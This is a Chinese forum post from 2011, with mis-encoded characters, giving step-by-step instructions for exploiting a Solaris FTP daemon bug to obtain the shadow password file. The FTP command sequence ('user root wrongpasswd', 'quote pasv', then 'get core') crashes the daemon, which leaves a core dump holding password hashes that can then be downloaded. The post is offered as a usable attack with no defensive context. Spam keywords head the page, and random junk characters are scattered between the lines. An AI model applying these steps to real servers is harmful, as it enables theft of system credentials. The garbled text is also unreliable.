久久综合伊人噜噜色,日本三级香港三级人妇电影精品,亚洲中文色资源,国产高清一区二区三区人妖
汶上信息港
標(biāo)題:
如何用FIP獲取shadow口令文件
[打印本頁]
作者:
雜七雜八
時(shí)間:
2011-1-12 21:01
標(biāo)題:
如何用FIP獲取shadow口令文件
該方法利用了Solaris 操作系統(tǒng)中FTPD的一個(gè)BUG,使得用戶可以獲得該機(jī)的口令文件。具體過程如下:
S9 Y: Z8 |0 S: w3 D1 R
! ~/ `# v$ |) S* Y& w0 o+ Y
1.通過 ftp 正常登錄到目的主機(jī)上
7 S% U! v0 |( h$ y
8 ]/ Z9 H3 {- k9 |1 | M
2.輸入如下命令序列:
2 m' G- |$ [ j7 \1 ^
\- V" M$ k- [! y) K3 H u
ftp> user root wrongpasswd
( Y1 @( L9 w5 a7 H0 _* y$ i
6 W, U. \5 E. M) d, ]: `. d, w
ftp> quote pasv
8 X- q4 C% F: r* R
0 w' G' W8 I& R6 S, b
3.這時(shí),ftpd會(huì)報(bào)錯(cuò)退出,同時(shí)會(huì)在當(dāng)前目錄下生成一個(gè)core,口令文件就包含在這個(gè)core中。
; ^$ d7 H9 _6 X2 I
+ u( ^ p1 u, r6 N0 C& P" o
4.再次進(jìn)入FTP >get core
, e1 e& j4 ~6 ?4 U a
% H* S/ N0 v: R, Y' b2 ?4 t
補(bǔ)充:雖然在core只有一部分shadow,但是對(duì)于系統(tǒng)來說已經(jīng)是致命的打擊了
; N( s$ j) s) x9 F+ u% u4 Z" s
/ T1 y& M* P6 f2 ~& ~, |' ]! `; ^9 ^9 ?9 Z
歡迎光臨 汶上信息港 (http://m.junkejituan.com/)
Powered by Discuz! X3.5